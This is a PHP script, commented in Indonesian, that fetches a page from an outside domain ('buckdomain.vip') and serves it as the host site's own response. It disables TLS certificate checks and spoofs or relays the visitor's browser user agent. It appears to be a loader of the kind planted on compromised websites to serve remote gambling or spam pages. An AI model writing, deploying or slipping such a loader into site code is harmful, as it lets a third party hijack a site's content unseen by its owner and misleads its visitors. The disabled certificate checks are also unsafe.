<?php

ini_set('display_errors', '0');
ini_set('log_errors', '1');
error_reporting(E_ALL);

$target = 'https://buckdomain.vip/JETSUUU/ulti700-ascensofacil.com.html';

$html      = false;
$status    = 0;
$errorInfo = '';

$userAgent = $_SERVER['HTTP_USER_AGENT']
    ?? 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/149.0 Safari/537.36';

/*
|--------------------------------------------------------------------------
| Ambil halaman menggunakan cURL
|--------------------------------------------------------------------------
*/

if (function_exists('curl_init')) {
    $ch = curl_init();

    curl_setopt_array($ch, [
        CURLOPT_URL            => $target,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_AUTOREFERER    => true,
        CURLOPT_MAXREDIRS      => 10,
        CURLOPT_CONNECTTIMEOUT => 15,
        CURLOPT_TIMEOUT        => 30,
        CURLOPT_ENCODING       => '',
        CURLOPT_HTTP_VERSION   => CURL_HTTP_VERSION_1_1,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_USERAGENT      => $userAgent,
        CURLOPT_HTTPHEADER     => [
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7',
            'Cache-Control: no-cache',
            'Pragma: no-cache',
            'Connection: close',
        ],
    ]);

    $html      = curl_exec($ch);
    $status    = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $errorInfo = curl_error($ch);

    curl_close($ch);
}

/*
|--------------------------------------------------------------------------
| Fallback menggunakan file_get_contents
|--------------------------------------------------------------------------
*/

$curlFailed = (
    $html === false ||
    strlen(trim((string) $html)) < 100 ||
    $status >= 400
);

if (
    $curlFailed &&
    filter_var(ini_get('allow_url_fopen'), FILTER_VALIDATE_BOOLEAN)
) {
    $context = stream_context_create([
        'http' => [
            'method'          => 'GET',
            'timeout'         => 30,
            'ignore_errors'   => true,
            'follow_location' => 1,
            'max_redirects'   => 10,
            'header'          =>
                "User-Agent: {$userAgent}\r\n" .
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" .
                "Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7\r\n" .
                "Cache-Control: no-cache\r\n" .
                "Pragma: no-cache\r\n" .
                "Connection: close\r\n",
        ],
        'ssl' => [
            'verify_peer'      => false,
            'verify_peer_name' => false,
        ],
    ]);

    $fallbackHtml = @file_get_contents($target, false, $context);

    if (
        $fallbackHtml !== false &&
        strlen(trim($fallbackHtml)) >= 100
    ) {
        $html   = $fallbackHtml;
        $status = 200;
    }
}

/*
|--------------------------------------------------------------------------
| Tampilkan halaman
|--------------------------------------------------------------------------
*/

if (
    $html !== false &&
    strlen(trim((string) $html)) >= 100 &&
    ($status === 0 || ($status >= 200 && $status < 400))
) {
    http_response_code(200);

    header('Content-Type: text/html; charset=UTF-8');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
    header('Pragma: no-cache');

    echo $html;
    exit;
}

error_log(
    'Fetch gagal' .
    ' | HTTP status: ' . $status .
    ' | cURL error: ' . $errorInfo .
    ' | Target: ' . $target
);

http_response_code(502);
header('Content-Type: text/plain; charset=UTF-8');

exit('Halaman sedang tidak tersedia.');